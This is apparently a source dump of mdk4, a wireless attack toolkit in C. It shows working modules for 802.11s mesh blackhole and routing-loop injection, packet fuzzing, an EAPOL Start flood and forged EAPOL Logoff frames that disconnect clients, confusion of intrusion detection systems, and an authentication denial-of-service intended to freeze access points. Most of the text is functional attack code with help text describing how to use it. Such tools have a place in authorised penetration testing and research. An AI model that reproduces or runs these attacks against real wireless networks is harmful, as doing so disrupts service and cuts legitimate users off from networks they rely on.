MAC_COPY(info_dst, prep->target); MAC_COPY(info_src, prep->originator); //Fix values to make injected packet be newer and better than old route prep->hop_count = 1; prep->ttl = 30; prep->metric = 1; return sniff; } struct packet ieee80211s_getpacket(void *options) { struct ieee80211s_options *dopt = (struct ieee80211s_options *) options; struct packet pkt; sleep_till_next_packet(dopt->speed); switch (dopt->attack_type) { case 'f': pkt = do_fuzzing(dopt); break; case 'b': pkt = do_blackhole(dopt); break; case 'p': pkt = do_flood(dopt); break; case 'l': pkt = create_loop(dopt); break; default: printf("BUG! Unknown attack type %c\n", dopt->attack_type); pkt.len = 0; } return pkt; } void ieee80211s_stats(void *options) { struct ieee80211s_options *dopt = (struct ieee80211s_options *) options; switch (dopt->attack_type) { case 'f': printf("\rReceived Action frames: %5d Received Mesh Beacons: %5d \n", incoming_action, incoming_beacon); break; case 'b': printf("\rLast PREQ: "); print_mac(info_src); printf(" searching for "); print_mac(info_dst); printf(": %s\n", blackhole_info); break; case 'l': printf("\rLoops created on route between "); print_mac(info_src); printf(" and "); print_mac(info_dst); printf(". \n"); break; } } struct attacks load_ieee80211s() { struct attacks this_attack; char *ieee80211s_name = malloc(strlen(IEEE80211S_NAME) + 1); strcpy(ieee80211s_name, IEEE80211S_NAME); this_attack.print_shorthelp = (fp) ieee80211s_shorthelp; this_attack.print_longhelp = (fp) ieee80211s_longhelp; this_attack.parse_options = (fpo) ieee80211s_parse; this_attack.mode_identifier = IEEE80211S_MODE; this_attack.attack_name = ieee80211s_name; this_attack.perform_check = (fps) ieee80211s_check; this_attack.get_packet = (fpp) ieee80211s_getpacket; this_attack.print_stats = (fps)ieee80211s_stats; return this_attack; } mdk4-master/src/attacks/fuzzer.c0000644000175000017500000001715113525065636017714 0ustar samuelophsamueloph#include #include #include #include #include #include "fuzzer.h" #include "../osdep.h" #include "../channelhopper.h" #include "../helpers.h" #define FUZZ_MODE 'f' #define FUZZ_NAME "Packet Fuzzer" #define FUZZ_MAX_SIZE 1500 struct fuzz_options { char *sources; char *modifiers; int speed; }; //Global things, shared by packet creation and stats printing char *source, *modifier = NULL; struct packet injected, sniffed; pthread_mutex_t packet_mutex = PTHREAD_MUTEX_INITIALIZER; void fuzz_shorthelp() { printf(" A simple packet fuzzer with multiple packet sources\n"); printf(" and a nice set of modifiers. Be careful!\n"); } void fuzz_longhelp() { printf( " A simple packet fuzzer with multiple packet sources\n" " and a nice set of modifiers. Be careful!\n" " mdk4 randomly selects the given sources and one or multiple modifiers.\n" " -s \n" " Specify one or more of the following packet sources:\n" " a - Sniff packets from the air\n" " b - Create valid beacon frames with random SSIDs and properties\n" " c - Create CTS frames to broadcast (you can also use this for a CTS DoS)\n" " p - Create broadcast probe requests\n" " -m \n" " Select at least one of the modifiers here:\n" " n - No modifier, do not modify packets\n" " b - Set destination address to broadcast\n" " m - Set source address to broadcast\n" " s - Shotgun: randomly overwrites a couple of bytes\n" " t - append random bytes (creates broken tagged parameters in beacons/probes)\n" " c - Cut packets short, preferably somewhere in headers or tags\n" " d - Insert random values in Duration and Flags fields\n" " -c [chan,chan,...,chan[:speed]]\n" " Enable channel hopping. When -c h is given, mdk4 will hop an all\n" " 14 b/g channels. Channel will be changed every 3 seconds,\n" " if speed is not specified. Speed value is in milliseconds!\n" " -p \n" " Set speed in packets per second (Default: 250)\n"); } int like_options(char *options, char *valid) { unsigned int i; for (i=0; isources = NULL; fopt->modifiers = NULL; fopt->speed = 250; while ((opt = getopt(argc, argv, "s:m:c:p:")) != -1) { switch (opt) { case 'c': speed = 3000000; speedstr = strrchr(optarg, ':'); if (speedstr != NULL) { speed = 1000 * atoi(speedstr + 1); } if (optarg[0] == 'h') { init_channel_hopper(NULL, speed); } else { init_channel_hopper(optarg, speed); } break; case 'p': fopt->speed = (unsigned int) atoi(optarg); break; case 's': if (like_options(optarg, "abcp")) fopt->sources = optarg; break; case 'm': if (like_options(optarg, "nbmstcd")) fopt->modifiers = optarg; break; default: fuzz_longhelp(); printf("\n\nUnknown option %c\n", opt); return NULL; } } if ((! fopt->sources) || (! fopt->modifiers)) { fuzz_longhelp(); printf("\n\nSources and Modifiers must be specified!\n"); return NULL; } return (void *) fopt; } void fuzz_sniffer(void *options) { struct fuzz_options *fopt = (struct fuzz_options *) options; struct packet sniff; sniffed.len = 0; if (! strchr(fopt->sources, 'a')) return; //Sniffer source not selected, skip while(1) { sniff = osdep_read_packet(); pthread_mutex_lock(&packet_mutex); if ((sniff.len != injected.len) || memcmp(sniff.data, injected.data, sniff.len)) { sniffed = sniff; } pthread_mutex_unlock(&packet_mutex); } } struct packet fuzz_getpacket(void *options) { static pthread_t *sniffer = NULL; struct fuzz_options *fopt = (struct fuzz_options *) options; struct packet pkt; unsigned int mod, modcount, i, j, k, src = fopt->sources[random() % strlen(fopt->sources)]; char *ssid, encs[5] = "nwta"; unsigned char *extra; struct ether_addr dest; struct ieee_hdr *hdr; if (! sniffer) { sniffer = malloc(sizeof(pthread_t)); pthread_create(sniffer, NULL, (void *) fuzz_sniffer, (void *) fopt); } sleep_till_next_packet(fopt->speed); pkt.len = 0; while (pkt.len == 0) { switch(src) { case 'a': pthread_mutex_lock(&packet_mutex); pkt = sniffed; pthread_mutex_unlock(&packet_mutex); source = "sniffer"; break; case 'b': ssid = generate_ssid(1); pkt = create_beacon(generate_mac(MAC_KIND_AP), ssid, osdep_get_channel(), encs[random() % 4], (random() % 2) ? 54 : 11, random() % 2); free(ssid); source = "beacon"; break; case 'c': MAC_SET_BCAST(dest); pkt = create_cts(dest, AUTH_DEFAULT_DURATION); source = "cts"; break; case 'p': pkt = create_probe(generate_mac(MAC_KIND_CLIENT), "" /* BCast Probe = Empty SSID */, 54); source = "probe"; break; default: pkt.len = 0; } } modcount = (random() % strlen(fopt->modifiers)) + 1; if (modifier) free(modifier); modifier = malloc(modcount + 1); memset(modifier, 0x00, modcount + 1); for (i=0; imodifiers[random() % strlen(fopt->modifiers)]; modifier[i] = mod; switch(mod) { case 'n': break; case 'b': //dest to bcast memset(get_destination(&pkt)->ether_addr_octet, '\xFF', 6); break; case 'm': //src to bcast memset(get_source(&pkt)->ether_addr_octet, '\xFF', 6); break; case 's': //shotgun k = ((random() % pkt.len) / 4) + 1; for (j=0; jduration = random(); hdr->flags = random(); break; default: //WTF pkt.len = 0; return pkt; } } pthread_mutex_lock(&packet_mutex); injected = pkt; pthread_mutex_unlock(&packet_mutex); return pkt; } void fuzz_print_stats(void *options) { options = options; printf("\rSelected packet source: %10s Used modifiers: %s\n", source, modifier); } void fuzz_perform_check(void *options) { //Nothing to check options = options; //Avoid unused warning } struct attacks load_fuzz() { struct attacks this_attack; char *fuzz_name = malloc(strlen(FUZZ_NAME) + 1); strcpy(fuzz_name, FUZZ_NAME); this_attack.print_shorthelp = (fp) fuzz_shorthelp; this_attack.print_longhelp = (fp) fuzz_longhelp; this_attack.parse_options = (fpo) fuzz_parse; this_attack.get_packet = (fpp) fuzz_getpacket; this_attack.print_stats = (fps) fuzz_print_stats; this_attack.perform_check = (fps) fuzz_perform_check; this_attack.mode_identifier = FUZZ_MODE; this_attack.attack_name = fuzz_name; return this_attack; } mdk4-master/src/attacks/beacon_flood.h0000644000175000017500000000060213525065636020777 0ustar samuelophsamueloph#ifndef HAVE_BEACON_FLOOD_H #define HAVE_BEACON_FLOOD_H #include "attacks.h" void beacon_flood_shorthelp(); void beacon_flood_longhelp(); struct attacks load_beacon_flood(); void *beacon_flood_parse(int argc, char *argv[]); struct packet beacon_flood_getpacket(void *options); void beacon_flood_print_stats(void *options); void beacon_flood_perform_check(void *options); #endifmdk4-master/src/attacks/eapol.c0000644000175000017500000002474113525065636017472 0ustar samuelophsamueloph#include #include #include #include #include "eapol.h" #include "../osdep.h" #include "../mac_addr.h" #include "../helpers.h" #define EAPOL_MODE 'e' #define EAPOL_NAME "EAPOL Start and Logoff Packet Injection" #define GOT_BEACON 'b' #define GOT_AUTH 'a' #define GOT_ASSOC 's' #define GOT_KEY1 '1' #define BEACON_TAG_WPA1 0xDD #define BEACON_TAG_RSN 0x30 #define BEACON_TAG_MSFT 0x0050F201 #define LLC_TYPE_EAPOL 0x888E #define EAPOL_LOGOFF_LEN 36 struct eapol_options { struct ether_addr *target; unsigned int speed; unsigned char attack_type; }; char *target_ssid = NULL; uint16_t target_capabilities = 0x0000; char *target_wpa1 = NULL; char *target_rsn = NULL; uint32_t auths = 0; uint32_t assocs = 0; uint32_t eapols = 0; uint32_t starts = 0; uint32_t logoffs = 0; struct ether_addr cur_logoff; void eapol_shorthelp() { printf(" Floods an AP with EAPOL Start frames to keep it busy with fake sessions\n"); printf(" and thus disables it to handle any legitimate clients.\n"); printf(" Or logs off clients by injecting fake EAPOL Logoff messages.\n"); } void eapol_longhelp() { printf( " Floods an AP with EAPOL Start frames to keep it busy with fake sessions\n" " and thus disables it to handle any legitimate clients.\n" " Or logs off clients by injecting fake EAPOL Logoff messages.\n" " -t \n" " Set target WPA AP\n" " -s \n" " Set speed in packets per second (Default: 400)\n" " -l\n" " Use Logoff messages to kick clients\n"); } void *eapol_parse(int argc, char *argv[]) { int opt; struct eapol_options *eopt = malloc(sizeof(struct eapol_options)); eopt->target = NULL; eopt->attack_type = 's'; eopt->speed = 400; while ((opt = getopt(argc, argv, "t:ls:")) != -1) { switch (opt) { case 't': eopt->target = malloc(sizeof(struct ether_addr)); *(eopt->target) = parse_mac(optarg); break; case 's': eopt->speed = (unsigned int) atoi(optarg); break; case 'l': eopt->attack_type = 'l'; break; default: eapol_longhelp(); printf("\n\nUnknown option %c\n", opt); return NULL; } } if (! eopt->target) { eapol_longhelp(); printf("\n\nTarget must be specified.\n"); return NULL; } return (void *) eopt; } char *decode_cipher(char cipher) { static char *tkip = "TKIP"; static char *unknown = "???"; static char *ccmp = "CCMP"; if (cipher == 0x02) return tkip; if (cipher == 0x04) return ccmp; return unknown; } char *decode_keymgmt(char kmgmt) { static char *psk = "PSK"; static char *wpa = "WPA"; static char *unknown = "???"; if (kmgmt == 0x02) return psk; if (kmgmt == 0x01) return wpa; return unknown; } void decode_tag_wpa(unsigned char *tag) { unsigned char *ctag = tag, *atag; uint32_t i; if (tag[0] == BEACON_TAG_WPA1) { printf(" WPA 1 Info : Type %d, Version %d\n", tag[5], tag[6]); tag += 4; } else { printf(" WPA 2 RSN : Version %d\n", tag[2]); } printf(" Multicast cipher %02X (%s)\n", tag[7], decode_cipher(tag[7])); for (i = 0; i < tag[8]; i++) { ctag = tag + 13 + (4 * i); printf(" Unicast cipher %02X (%s)\n", ctag[0], decode_cipher(ctag[0])); } for (i = 0; i < ctag[1]; i++) { atag = ctag + 6 + (4 * i); printf(" Key Mgmt Suite %02X (%s)\n", atag[0], decode_keymgmt(atag[0])); } } void decode_beacon(struct packet *beacon) { unsigned char *tags = beacon->data + sizeof(struct ieee_hdr) + sizeof(struct beacon_fixed); target_ssid = get_ssid(beacon, NULL); target_capabilities = get_capabilities(beacon); printf("Received Beacon from target:\n"); printf(" SSID : %s\n", target_ssid); printf(" Capabilities: %04X\n", target_capabilities); while (tags < (beacon->data + beacon->len)) { if (tags[0] == BEACON_TAG_WPA1) { if (*((uint32_t *)(tags + 2)) == htobe32(BEACON_TAG_MSFT)) { decode_tag_wpa(tags); target_wpa1 = malloc(2 + tags[1]); memcpy(target_wpa1, tags, 2 + tags[1]); } } if (tags[0] == BEACON_TAG_RSN) { decode_tag_wpa(tags); target_rsn = malloc(2 + tags[1]); memcpy(target_rsn, tags, 2 + tags[1]); memset(target_rsn + tags[1], 0x00, 2); //Zero out RSN capabilities } tags += (tags[1] + 2); } } struct packet build_eapol(struct ether_addr *target, struct ether_addr *client, uint8_t rsn_version, uint64_t rsn_replay) { struct packet pkt; create_ieee_hdr(&pkt, IEEE80211_TYPE_DATA, 't', AUTH_DEFAULT_DURATION, *target, *client, *target, SE_NULLMAC, 0); add_llc_header(&pkt, LLC_TYPE_EAPOL); if (! target_rsn) { add_eapol(&pkt, 2 + target_wpa1[1], (uint8_t *) target_wpa1, 1, rsn_version, rsn_replay); } else { add_eapol(&pkt, 2 + target_rsn[1], (uint8_t *) target_rsn, 2, rsn_version, rsn_replay); } return pkt; } struct packet build_eapol_start_logoff(struct ether_addr *target, struct ether_addr *client, uint8_t start_logoff) { struct packet pkt; create_ieee_hdr(&pkt, IEEE80211_TYPE_DATA, 't', AUTH_DEFAULT_DURATION, *target, *client, *target, SE_NULLMAC, 0); add_llc_header(&pkt, LLC_TYPE_EAPOL); pkt.data[pkt.len] = 0x01; pkt.data[pkt.len+1] = start_logoff; pkt.data[pkt.len+2] = 0x00; pkt.data[pkt.len+3] = 0x00; pkt.len += 4; return pkt; } struct packet eapol_logoff(struct ether_addr *target) { struct packet sniffed; struct ether_addr *bssid = NULL, *client = NULL; struct ieee_hdr *hdr; do { sniffed = osdep_read_packet(); if (sniffed.len == EAPOL_LOGOFF_LEN) continue; //Skip own packets! hdr = (struct ieee_hdr *) sniffed.data; bssid = get_bssid(&sniffed); if (hdr->flags & 0x02) { //FromDS client = get_destination(&sniffed); } else { client = get_source(&sniffed); } if ((hdr->type == IEEE80211_TYPE_DATA) || (hdr->type == IEEE80211_TYPE_QOSDATA)) { if (MAC_MATCHES(*bssid, *target)) break; } } while(1); logoffs++; MAC_COPY(cur_logoff, *client); return build_eapol_start_logoff(target, client, 2); } struct packet eapol_getpacket(void *options) { struct eapol_options *eopt = (struct eapol_options *) options; struct packet sniffed, pkt; struct ieee_hdr *hdr; struct ether_addr *bssid = NULL, *client = NULL; char usable_packet = 0, pack_type = 0; static char need_beacon = 2, blocks_auth = 0; static struct packet old; uint8_t rsn_version = 0; uint64_t rsn_replay = 0; if (need_beacon == 2) { old.len = 0; need_beacon = 1; } //init sleep_till_next_packet(eopt->speed); if (eopt->attack_type == 'l') return eapol_logoff(eopt->target); do { sniffed = osdep_read_packet(); if (old.len == sniffed.len) { if (! memcmp(old.data + 2, sniffed.data + 2, old.len - 2)) { continue; //Its a retry, skip it } } old = sniffed; hdr = (struct ieee_hdr *) sniffed.data; if (hdr->type == IEEE80211_TYPE_BEACON) { bssid = get_bssid(&sniffed); if (MAC_MATCHES(*bssid, *(eopt->target))) { usable_packet = 1; pack_type = GOT_BEACON; if (need_beacon) decode_beacon(&sniffed); need_beacon = 0; } } if (! need_beacon) { if (hdr->type == IEEE80211_TYPE_AUTH) { usable_packet = 1; pack_type = GOT_AUTH; client = get_destination(&sniffed); if (! blocks_auth) { struct auth_fixed *af = (struct auth_fixed *) (sniffed.data + sizeof(struct ieee_hdr)); if (af->status != AUTH_STATUS_SUCCESS) { printf("\rAP starts blocking Authentication :) \n"); blocks_auth = 1; } } } if (hdr->type == IEEE80211_TYPE_ASSOCRES) { usable_packet = 1; pack_type = GOT_ASSOC; client = get_destination(&sniffed); if (blocks_auth < 2) { if ((sniffed.data[sizeof(struct ieee_hdr) + 2] != 0x00) || (sniffed.data[sizeof(struct ieee_hdr) + 3] != 0x00)) { printf("\rAP starts blocking Association :) \n"); blocks_auth = 2; } } } if ((hdr->type == IEEE80211_TYPE_DATA) || (hdr->type == IEEE80211_TYPE_QOSDATA)) { struct llc_header *llc = (struct llc_header *) (sniffed.data + sizeof(struct ieee_hdr)); if (llc->type == htobe16(LLC_TYPE_EAPOL)) { struct rsn_auth *rsn = (struct rsn_auth *) (sniffed.data + sizeof(struct ieee_hdr) + sizeof(struct llc_header)); usable_packet = 1; pack_type = GOT_KEY1; client = get_destination(&sniffed); rsn_version = rsn->version; rsn_replay = rsn->replay_counter; } } if (client && MAC_MATCHES(*client, *(eopt->target))) usable_packet = 0; //Thats one of our packets... } } while(! usable_packet); switch (pack_type) { case GOT_BEACON: pkt = create_auth(*bssid, generate_mac(MAC_KIND_RANDOM), 1); auths++; break; case GOT_AUTH: pkt = create_assoc_req(*client, *(eopt->target), target_capabilities, target_ssid, 54); assocs++; if (! target_rsn) { if (!target_wpa1) { printf("\rERROR: AP sends no WPA tags, AP does not support WPA, exiting...\n"); pkt.len = 0; return pkt; } memcpy(pkt.data + pkt.len, target_wpa1, target_wpa1[1] + 2); pkt.len += target_wpa1[1] + 2; } else { memcpy(pkt.data + pkt.len, target_rsn, target_rsn[1] + 2); pkt.len += target_rsn[1] + 2; } break; case GOT_ASSOC: pkt = build_eapol_start_logoff(eopt->target, client, 1); starts++; break; case GOT_KEY1: pkt = build_eapol(eopt->target, client, rsn_version, rsn_replay); eapols++; break; default: //Somethings wrong.... pkt.len = 0; } return pkt; } void eapol_print_stats(void *options) { struct eapol_options *eopt = (struct eapol_options *) options; if (eopt->attack_type == 'l') { printf("\rLogoff messages sent: %6d Currently Logging off: ", logoffs); print_mac(cur_logoff); printf("\n"); } else { printf("\rInjected: Authentication: %6d Association: %6d EAP Start : %6d EAP Key: %6d\n", auths, assocs, starts, eapols); } } void eapol_perform_check(void *options) { //Nothing to check options = options; //Avoid unused warning } struct attacks load_eapol() { struct attacks this_attack; char *eapol_name = malloc(strlen(EAPOL_NAME) + 1); strcpy(eapol_name, EAPOL_NAME); this_attack.print_shorthelp = (fp) eapol_shorthelp; this_attack.print_longhelp = (fp) eapol_longhelp; this_attack.parse_options = (fpo) eapol_parse; this_attack.get_packet = (fpp) eapol_getpacket; this_attack.print_stats = (fps) eapol_print_stats; this_attack.perform_check = (fps) eapol_perform_check; this_attack.mode_identifier = EAPOL_MODE; this_attack.attack_name = eapol_name; return this_attack; } mdk4-master/src/attacks/fuzzer.h0000644000175000017500000000046713525065636017723 0ustar samuelophsamueloph#ifndef FUZZER_H_ #define FUZZER_H_ #include "attacks.h" void fuzz_shorthelp(); void fuzz_longhelp(); struct attacks load_fuzz(); void *fuzz_parse(int argc, char *argv[]); struct packet fuzz_getpacket(void *options); void fuzz_print_stats(void *options); void fuzz_perform_check(void *options); #endif mdk4-master/src/attacks/dummy.c0000644000175000017500000000336613525065636017525 0ustar samuelophsamueloph#include #include #include "dummy.h" #define DUMMY_MODE 'D' #define DUMMY_NAME "An empty dummy attack" // A starting point to build new attack modules for mdk4 // IMPORTANT: // In order to include your attack into mdk4, you have to add it to attacks.h! struct dummy_options { int option_count; }; void dummy_shorthelp() { printf(" dummy call short help\n"); } void dummy_longhelp() { printf(" dummy call 2 LONG HELP\n"); } void *dummy_parse(int argc, char *argv[]) { int i; struct dummy_options *dopt = malloc(sizeof(struct dummy_options)); for (i=0; ioption_count = argc; return (void *) dopt; } void dummy_check(void *options) { options = options; printf("Implement check here\n"); } struct packet dummy_getpacket(void *options) { options = options; struct packet pkt; printf("Build your packet here and return it. NULL data makes mdk4 exit\n"); pkt.len = 0; return pkt; } void dummy_stats(void *options) { options = options; printf("This is called every second to display statistics\n"); } struct attacks load_dummy() { struct attacks this_attack; char *dummy_name = malloc(strlen(DUMMY_NAME) + 1); strcpy(dummy_name, DUMMY_NAME); this_attack.print_shorthelp = (fp) dummy_shorthelp; this_attack.print_longhelp = (fp) dummy_longhelp; this_attack.parse_options = (fpo) dummy_parse; this_attack.mode_identifier = DUMMY_MODE; this_attack.attack_name = dummy_name; this_attack.perform_check = (fps) dummy_check; this_attack.get_packet = (fpp) dummy_getpacket; this_attack.print_stats = (fps) dummy_stats; return this_attack; } mdk4-master/src/attacks/wids.c0000644000175000017500000002544413525065636017341 0ustar samuelophsamueloph#include #include #include #include #include #include #include #include "wids.h" #include "../osdep.h" #include "../helpers.h" #include "../channelhopper.h" #include "../linkedlist.h" #define WIDS_MODE 'w' #define WIDS_NAME "WIDS Confusion" #define WIDS_MAX_RETRIES 10 struct wids_options { char *target; int zerochaos; int speed; int aps; int foreign_aps; int clients; int auths; int deauths; }; //Global things, shared by packet creation and stats printing struct clistwidsap *targets = NULL, *foreign = NULL, *belongsto = NULL; struct clistwidsclient *target_clients = NULL; void wids_shorthelp() { printf(" Confuse/Abuse Intrusion Detection and Prevention Systems by\n"); printf(" cross-connecting clients to multiple WDS nodes or fake rogue APs.\n"); } void wids_longhelp() { printf( " Confuse/Abuse Intrusion Detection and Prevention Systems by\n" " cross-connecting clients to multiple WDS nodes or fake rogue APs.\n" " Confuses a WDS with multi-authenticated clients which messes up routing tables\n" " -e \n" " SSID of target WDS network\n" " -c [chan,chan,...,chan[:speed]]\n" " Enable channel hopping. When -c h is given, mdk4 will hop an all\n" " 14 b/g channels. Channel will be changed every 3 seconds,\n" " if speed is not specified. Speed value is in milliseconds!\n" " -z\n" " activate Zero_Chaos' WIDS exploit\n" " (authenticates clients from a WDS to foreign APs to make WIDS go nuts)\n" " -s \n" " Set speed in packets per second (Default: 100)\n"); } void *wids_parse(int argc, char *argv[]) { int opt, speed; char *speedstr; struct wids_options *wopt = malloc(sizeof(struct wids_options)); wopt->target = NULL; wopt->zerochaos = 0; wopt->speed = 100; wopt->aps = wopt->clients = wopt->auths = wopt->deauths = wopt->foreign_aps = 0; while ((opt = getopt(argc, argv, "e:c:zs:")) != -1) { switch (opt) { case 'e': if (strlen(optarg) > 255) { printf("ERROR: SSID too long\n"); return NULL; } else if (strlen(optarg) > 32) { printf("NOTE: Using Non-Standard SSID with length > 32\n"); } wopt->target = malloc(strlen(optarg) + 1); strcpy(wopt->target, optarg); break; case 'c': speed = 3000000; speedstr = strrchr(optarg, ':'); if (speedstr != NULL) { speed = 1000 * atoi(speedstr + 1); } if (optarg[0] == 'h') { init_channel_hopper(NULL, speed); } else { init_channel_hopper(optarg, speed); } break; case 'z': wopt->zerochaos = 1; break; case 's': wopt->speed = (unsigned int) atoi(optarg); break; default: wids_longhelp(); printf("\n\nUnknown option %c\n", opt); return NULL; } } if (! wopt->target) { wids_longhelp(); printf("\n\nTarget must be specified!\n"); return NULL; } return (void *) wopt; } void wids_sniffer(void *options) { struct wids_options *wopt = (struct wids_options *) options; struct packet sniff; struct ieee_hdr *hdr; char *ssid; struct ether_addr *bssid, *client; struct auth_fixed *auth; struct clistwidsclient *wclient; while(1) { sniff = osdep_read_packet(); hdr = (struct ieee_hdr *) sniff.data; switch (hdr->type) { case IEEE80211_TYPE_BEACON: ssid = get_ssid(&sniff, NULL); bssid = get_bssid(&sniff); if (!strcmp(ssid, wopt->target)) { if (! search_bssid(targets, *bssid)) { targets = add_to_clistwidsap(targets, *bssid, osdep_get_channel(), get_capabilities(&sniff), ssid); printf("\rFound AP for target network: "); print_mac(*bssid); printf(" on channel %d\n", osdep_get_channel()); wopt->aps++; } } else { if (wopt->zerochaos && (! search_bssid(foreign, *bssid))) { foreign = add_to_clistwidsap(foreign, *bssid, osdep_get_channel(), get_capabilities(&sniff), ssid); printf("\rFound foreign AP "); print_mac(*bssid); printf(" in network %s on channel %d\n", ssid, osdep_get_channel()); wopt->foreign_aps++; } } free(ssid); break; case IEEE80211_TYPE_DATA: case IEEE80211_TYPE_QOSDATA: client = NULL; if ((hdr->flags & 0x03) == 0x01) { client = get_source(&sniff); } else if ((hdr->flags & 0x03) == 0x02) { client = get_destination(&sniff); } if (client) { bssid = get_bssid(&sniff); if ((belongsto = search_bssid(targets, *bssid))) { if (! search_client(target_clients, *client)) { target_clients = add_to_clistwidsclient(target_clients, *client, 0, sniff.data, sniff.len, get_seqno(&sniff), NULL); //NULL: doesnt yet belong to any AP printf("\rFound client "); print_mac(*client); printf(" on AP "); print_mac(*bssid); printf("\n"); wopt->clients++; } } } break; case IEEE80211_TYPE_AUTH: auth = (struct auth_fixed *) (sniff.data + sizeof(struct ieee_hdr)); client = get_destination(&sniff); bssid = get_bssid(&sniff); if ((auth->seq == htole16((uint16_t) 2)) && (auth->status == 0)) { wclient = search_client(target_clients, *client); if (wclient) { if (MAC_MATCHES(*bssid, wclient->bssid->bssid)) //Doesnt match: Real client tried connecting somewhere else, ignore if (wclient->status == 0) wclient->status = 1; } } break; case IEEE80211_TYPE_ASSOCRES: client = get_destination(&sniff); bssid = get_bssid(&sniff); wclient = search_client(target_clients, *client); if (wclient && (wclient->status == 1)) { if (MAC_MATCHES(*bssid, wclient->bssid->bssid)) { wclient->status = 2; wopt->auths++; printf("\rConnected "); print_mac(*client); printf(" to AP "); print_mac(wclient->bssid->bssid); printf("\n"); } } break; case IEEE80211_TYPE_DISASSOC: case IEEE80211_TYPE_DEAUTH: client = get_destination(&sniff); bssid = get_bssid(&sniff); wclient = search_client(target_clients, *client); if (wclient) { if (wclient->bssid && MAC_MATCHES(*bssid, wclient->bssid->bssid)) { wclient->status = 0; wclient->bssid = NULL; printf("\rClient "); print_mac(*client); printf(" kicked from fake-connected AP "); print_mac(*bssid); printf("\n"); } else { printf("\rClient "); print_mac(*client); printf(" kicked from original AP "); print_mac(*bssid); printf("\n"); } wopt->deauths++; } break; } } } struct clistwidsclient *handle_retries(struct clistwidsclient *in) { if (!in) return NULL; in->retries++; if (in->retries > WIDS_MAX_RETRIES) { in->bssid = NULL; in->status = 3; //Postpone client to the end in->retries = 0; return NULL; } //We also hate WIDS vendors here :D set_seqno(NULL, in->seq); //Have a nice day in->seq++; return in; } struct packet wids_getpacket(void *options) { static int wids_init = 0; static pthread_t sniffer; struct wids_options *wopt = (struct wids_options *) options; struct packet pkt; struct clistwidsclient *wclient; struct ieee_hdr *hdr; if (!wids_init) { printf("\nWaiting 10 seconds for initialization...\n"); pthread_create(&sniffer, NULL, (void *) wids_sniffer, (void *) wopt); for (wids_init=0; wids_init<10; wids_init++) { sleep(1); printf("\rAPs found: %d Clients found: %d", wopt->aps, wopt->clients); } while (! wopt->aps) { printf("\rNo APs have been found yet, waiting...\n"); sleep(1); } while (wopt->zerochaos && (! wopt->foreign_aps)) { printf("\rNo foreign APs have been found yet, waiting...\n"); sleep(1); } while (! wopt->clients) { printf("\rOnly APs found, no clients yet, waiting...\n"); sleep(1); } wids_init = 1; } while(1) { sleep_till_next_packet(wopt->speed); target_clients = shuffle_widsclients(target_clients); //Associate a client that just authenticated wclient = search_status_widsclient(target_clients, 1, osdep_get_channel()); wclient = handle_retries(wclient); if (wclient) return create_assoc_req(wclient->mac, wclient->bssid->bssid, wclient->bssid->capa, wclient->bssid->ssid, 54); //Send data as client that just connected wclient = search_status_widsclient(target_clients, 2, osdep_get_channel()); wclient = handle_retries(wclient); if (wclient) { //injecting data memcpy(pkt.data, wclient->data, wclient->data_len); pkt.len = wclient->data_len; hdr = (struct ieee_hdr *) pkt.data; hdr->flags &= 0xFC; // Clear DS field hdr->flags |= 0x01; // Set ToDS bit hdr->addr1 = wclient->bssid->bssid; hdr->addr2 = wclient->mac; MAC_SET_BCAST(hdr->addr3); wclient->status = 3; return pkt; } //Search idle client, auth to random AP, if nobody idle, connect already connected stations to even more APs wclient = search_status_widsclient(target_clients, 0, -1); if (!wclient) wclient = search_status_widsclient(target_clients, 3, -1); if (wclient) { wclient->retries = 0; if (wopt->zerochaos) { foreign = shuffle_widsaps(foreign); wclient->bssid = search_bssid_on_channel(foreign, osdep_get_channel()); } else { targets = shuffle_widsaps(targets); wclient->bssid = search_bssid_on_channel(targets, osdep_get_channel()); } if (wclient->bssid) return create_auth(wclient->bssid->bssid, wclient->mac, 0); } printf("\rAll clients stuck in Authentication cycles, waiting for timeouts."); } pkt.len = 0; return pkt; } void wids_print_stats(void *options) { struct wids_options *wopt = (struct wids_options *) options; printf("\rAPs found: %d Clients found: %d Completed Auth-Cycles: %d Caught Deauths: %d\n", wopt->aps, wopt->clients, wopt->auths, wopt->deauths); } void wids_perform_check(void *options) { //Nothing to check options = options; //Avoid unused warning } struct attacks load_wids() { struct attacks this_attack; char *wids_name = malloc(strlen(WIDS_NAME) + 1); strcpy(wids_name, WIDS_NAME); this_attack.print_shorthelp = (fp) wids_shorthelp; this_attack.print_longhelp = (fp) wids_longhelp; this_attack.parse_options = (fpo) wids_parse; this_attack.get_packet = (fpp) wids_getpacket; this_attack.print_stats = (fps) wids_print_stats; this_attack.perform_check = (fps) wids_perform_check; this_attack.mode_identifier = WIDS_MODE; this_attack.attack_name = wids_name; return this_attack; } mdk4-master/src/attacks/auth_dos.c0000644000175000017500000004155113525065636020176 0ustar samuelophsamueloph#include #include #include #include #include #include "auth_dos.h" #include "../osdep.h" #include "../helpers.h" #include "../linkedlist.h" #include "../osdep/byteorder.h" #define AUTH_DOS_MODE 'a' #define AUTH_DOS_NAME "Authentication Denial-Of-Service" #define AUTH_DOS_STATUS_NEW 0 #define AUTH_DOS_STATUS_UP 1 #define AUTH_DOS_STATUS_FROZEN 2 #define AUTH_DOS_STATUS_AUTHED 1 #define AUTH_DOS_STATUS_READY 2 static char *status_codes[3] = {"No Response", "Working", "Frozen"}; const unsigned long max_data_size = 33554432L; // mdk will store up to 32 MB of captured traffic struct auth_dos_options { struct ether_addr *target; unsigned char valid_mac; unsigned char intelligent; unsigned int speed; }; struct ia_stats { unsigned int c_authed; unsigned int c_assoced; unsigned int c_kicked; unsigned int c_created; unsigned int c_denied; unsigned int d_captured; unsigned int d_sent; unsigned int d_responses; unsigned int d_relays; } ia_stats; //Global things, shared by packet creation and stats printing pthread_t *sniffer = NULL; struct clistauthdos *aps = NULL, *increment_here = NULL, *cl = NULL; unsigned int apcount = 0; struct ether_addr client, bssid; struct clist *dataclist = NULL; void auth_dos_shorthelp() { printf(" Sends authentication frames to all APs found in range.\n"); printf(" Too many clients can freeze or reset several APs.\n"); } void auth_dos_longhelp() { printf( " Sends authentication frames to all APs found in range.\n" " Too many clients can freeze or reset several APs.\n" " -a \n" " Only test the specified AP\n" " -m\n" " Use valid client MAC from built-in OUI database\n" " -i \n" " Perform intelligent test on AP\n" " This test connects clients to the AP and reinjects sniffed data to keep them alive.\n" " -s \n" " Set speed in packets per second (Default: unlimited)\n"); } void *auth_dos_parse(int argc, char *argv[]) { int opt; struct auth_dos_options *aopt = malloc(sizeof(struct auth_dos_options)); aopt->target = NULL; aopt->valid_mac = 0; aopt->intelligent = 0; 